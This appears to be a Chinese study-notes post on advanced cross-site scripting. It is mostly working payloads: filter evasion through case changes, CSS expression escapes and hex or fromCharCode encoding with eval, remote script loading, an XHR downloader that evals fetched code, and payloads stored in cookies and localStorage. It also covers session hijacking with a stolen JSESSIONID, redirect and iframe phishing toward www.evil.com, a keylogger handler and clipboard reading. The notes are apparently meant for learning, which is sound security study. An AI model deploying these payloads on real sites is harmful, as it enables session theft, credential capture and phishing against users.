Xss进阶
1.XSS十分灵活多样,光是同一个payload就有下列诸多的方式
普通方式
<img src="javascript:alert(0);">
转换大小写
这里需要注意,只有和html有关的才能转化,如上面的
javascript,img,src
将其中的双引号变成单引号或者没有引号
对于这一个payload,如果是过滤空格的话,我们可以在img与src之间插入/(在IE6中没有问题)
再举一个例子
比如说是<div style="xss:expression(alert(1))" >这种类型
有以下方式进行逃逸
加入/**/,代码混淆
body {xss:expre/**/ssion(alert(1))}
除了/**/外,样式标签中的\和结束符\0也是被浏览器忽略的
@\0import'\0javascript:alert(1)';似乎这个\0 我仅仅在import中尝试成功了
expression:alert(1)可以变成expr\65ssion 这里的\65为e的ascll码的16进制
除了这些技巧,我们还可以通过html注释来绕过
<!--img src="--><img src=# onerror=alert(1) //">
正式开始
=======为了绕过Xss检测我们常常通过对字符串进行编码
比如我们拿<img src="javascript:alert(1)"/>
其中,在这串攻击载荷中,除了<img></>之外,其他的均可以用
进制进行加密
或是进制进行加密
在javascript中有一个eval()函数,常常这样计算
<script>eval("alert('xss')");</script>
在javascript中可以有很多方式进行逃逸绕过,
比如我们可以用\连接十六进制字符串,然后用eval()函数执行十六进制字符串形式的脚本,
http://www.bejson.com/convert/ox2str/ 这个网站似乎可以字符串直接转换为16进制,实际上就是ascll码的16进制
记得前面需要增加\x哟
比如说有以下这一段代码
<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29"); </script>
结果的确能够正确弹窗
此外结合使用eval()和String.fromCharcode函数(十进制)
在firefox的hackbar上已经集成了这一功能
eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41));这样也可以成功弹窗
此外,样式表也支持分析和解释\连接的十六进制的字符串形式,浏览器能正常解释,
body { background:url(javascript:alert(1)) }
<style>
body {background:\75rl(javascript:alert(1))}
</style>
比如说常常会过滤expression,javascript等
所以我们可以这样
<style> div{xss:expr\65ssion(alert(1))} </style>
但是,貌似这种转换为\+16进制的方法在IE5.5上市无法执行的
除了以上这些加密方式,Microsoft提供了脚步加密机制,可以进行加密,被加密的脚本,在IE下正常运行,在其他浏览器则不识别
对于被限制了长度的XSS,可以采用以下方式
<script>var z='document.';</script>
<script>z+='write(';</script>
<script>z+="'Hello World')";</script>
<script>eval(z);</script>
以下这种方式可以忽略掉其他
<script>var z='document.';/*
*/z+='write(';/*
*/z+="'Hello World')";/*
*/eval(z);</script>
还有以下方式进行XSS
<html> <head> </head> <body> <div id="i1" title="<"></div> <div id="i2" title="/>"></div> <script> var a=document.getElementById('i1').title+'img'+' '+'src=#'+' '+'onerror=alert(1)'+' '+document.getElementById('i2').title; document.write(a); </script> </body>
当div中的可输入字段没有被过滤得情况下,即使在script标签中被过滤,也还是可以通过这种方式进行Xss
通过DOM方式或者通过<script>标签远程动态加载
<html> <head> </head> <body> <script> var a=document.createElement("script"); a.src="http://127.0.0.1/xss.js"; document.body.appendChild(a); </script> </body> </html>
使用window.location.hash
XSS Downloader
还有一种调用XSS Shellcode的方法,即先将Shellcode写在网站的某个页面,再利用XMLHTTP向网站发送HTTP请求(POST或GET),然后执行返回的数据,
举一个简单的例子
<html> <head> </head> <body> <script> function xss() { var xhr; if(window.XMLHttpRequest) { xhr=new XMLHttpRequest() } else { xhr=new ActiveXObject("microsoft.XMLHTTP"); } xhr.open('get','http://127.0.0.1/target.html',true); xhr.onreadystatechange=function(){ if(xhr.readyState==4 && xhr.status==200) { var a=xhr.responseText a=a.replace(/<.*>/g,""); a=a.replace(';',''); eval(a); } } xhr.send() } xss(); </script> </body> </html>
其中target.html的代码如下
<html> <head> </head> <body> <script> alert(1); </script> </body> </html>
这样一来,就可以执行我们的代码啦!
1.6。4备选存储技术
把xss代码存储在客户端本地域中,譬如HTTPcokie,Flash共享对象,UserData,localStorage等
拿cookie来举例把
<script> function setShellcode(code) { var exp=new Date(); exp.setTime(exp.getTime()+365*24*60*60+1000); document.cookie='shellcode='+code+';'+'expires='+exp.toGMTString(); } setShellcode('alert(1)'); eval(document.cookie.replace(/.*=/,'')); </script>
以及通过localStorage进行存储
<script> localStorage.a="<img src=# onerror=alert(1) />"; document.write(localStorage.a); if(localStorage.count) { localStorage.count=localStorage.count+1; alert("访问次数"+localStorage.count) ; } else { localStorage.count=1; } </script>
2 XSS利用方式剖析
再来复习一下cookie的知识
Cookie的类型
Cookie的时效(Expiration)是一个很重要的属性,根据其时效性可以把Cookie分为两种类型,持久形Cookie,和临时形Cookie
持久型Cookie以文本形存储在硬盘上,由浏览器存取
临时形Cookie也称为会话Cookie,存储在内存中,关闭当前浏览器后会立即消失
cookie的操作。
Cookie的操作十分简单,可以通过Document对象访问Cookie,若要创建一个Cookie,只要将特定格式的字符串赋给document.cookie即可
创建一个Cookie,需要提供Cookie的名字,对应值,过期时间和相关路径等,通过setcookie(php函数)
Cookie会话攻击原理剖析
Cookie劫持
有firebug工具firecookie可实现工具盗用cookie
会话劫持
由于使用Cookie存在一定的安全缺陷,还有一种更安全的认证方式session
session机制
Session的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的Session,Session是基于访问的进程,记录了一个访问的开始到结束,当浏览器或进程关闭后,Session也就消失了
在Session机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也会有被其他人利用的可能。
Session和Cookie的最大区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户文件里面。
提升权限
1 <html> 2 <head> 3 <meta http-equiv="Content-type" content="text/html;charset=UTF-8"/> 4 </head> 5 <body> 6 <script> 7 function xss() 8 { 9 alert("hello World"); 10 var xhr=null; 11 document.cookie="JSESSIONID=CEF7FB69AD052E48EE49DACBC7BBEA40;expires="+new Date(new Date()+10000000).toUTCString()+";path=/campus/"; 12 if(window.XMLHttpRequest) 13 { 14 xhr=new XMLHttpRequest(); 15 } 16 else if(window.ActiveXObject) 17 { 18 xhr=new ActiveXObject("Microsoft.XMLHTTP"); 19 } 20 xhr.open("GET",'http://target.add.com.cn',true); 21 xhr.onreadystatechange=function() 22 { 23 if(xhr.readyState==4&&xhr.status==200) 24 { 25 alert("done"); 26 alert(xhr.responseText); 27 } 28 } 29 xhr.send(); 30 } 31 xss(); 32 </script> 33 </body> 34 </html>
假设这个cookie是我通过xss获得的cookie,那么我可以以它的身份坐很多事情,不过要注意同源策略
XSS钓鱼的方式
1.xss重定向钓鱼
这种方式是把当前页面重定向到一个钓鱼网站上,假如www.bug.com为漏洞网站,那么钓鱼网站www.evil.com就会完全仿冒正常网站的内容及行为,从而进行钓鱼等欺骗活动。
2.重定向钓鱼
比如说可以将Exp写成document.location.href=“http://www.evil.com”
3.HTML注入式钓鱼直接在页面嵌入一个html表单。
4.最后一个是XSS跨框架钓鱼
<script> document.body.innerHTML=('<div style="position:absolute;top:0px;left:0px;width:100%;height:100%;">'+'<iframe src="http://www.baidu.com" width=100% height=100%>'+'</iframe></div>'); </script>
那baidu举例,实际中我们可以切换成别的页面
5.Flash钓鱼
攻击者把精心构造的Flash文件上传到远程服务器,然后在目标网站中使用<object>或<embed>标签去引用Flash即可
同样,我们甚至可以记录用户输入的用户名与口令
function keyUp(e) { var currKey=0,e=e||event; currKey=e.keyCode||e.which||e.charCode; var keyName = String.fromCharCode(currKey); alert("按键码: " + currKey + " 字符: " + keyName); } document.onkeyup = keyUp; </script>
注意以上代码在Firefox中必须有参数变量e否则会抱错event is not defined
需要在函数内定义e如上function (e)
6.截获剪贴板内容
有些用户在浏览网页的过程中,经常会复制和粘贴一些重要的信息,这些信息可能含有一些隐私数据
javascript中主要使用window.clipboardData对象处理剪贴板的内容,有以下三种方法
clearData(sDataFormat)删除剪贴板中指定格式的数据
getData(sDataFormat)从剪贴板获取指定格式的数据
setData(sDataFromat,sData)给剪贴板富裕指定格式的数据
以下js能够对剪贴板内容进行操作
<body> <div id="someData"> <textarea cows="4" cols="40" name="text"> </textarea> </div> <input type="button" value="复制到剪贴板" onclick="setClipboard()"> <input type="button" value="查看剪贴板内容" onclick="readClipboard()"> <input type="button" value="清除" onclick="window.clipboardData.clearData('text');"> <script> if(window.clipboardData) { alert("can use"); } function readClipboard() { alert(window.clipboardData.getData('text')); } function setClipboard(){ var t=document.getElementById("someData").innerText; alert(t); window.clipboardData.setData('text',t); } </script> </body>
获取客户端IP地址
这个实验尚未成功
其他恶意攻击剖析
网页挂马
一般在攻击中使用iframe标签或是用js如document.write等语句动态创建对话框
DOS或DDOS攻击
如在js前执行用真循环条件(while(1))或for(;;)
利用外部内容来组合payload
如以下payload
<input id="xxx" type="text" class="xxx" value="xxxx" name="javascript:alert(1)" autofocus onfocus="location=this.name" />
当被禁止使用尖括号时,可以使用如下payload
javasCript:s=document.createElement("sCript");s.src="//xxxxx.js";document.body.appendChild(s) autofocus onfocus=location=this.name
哪怕是圆括号被禁止时,我们可以吧(Urlencode,因为在最后输出的得放是location

浙公网安备 33010602011771号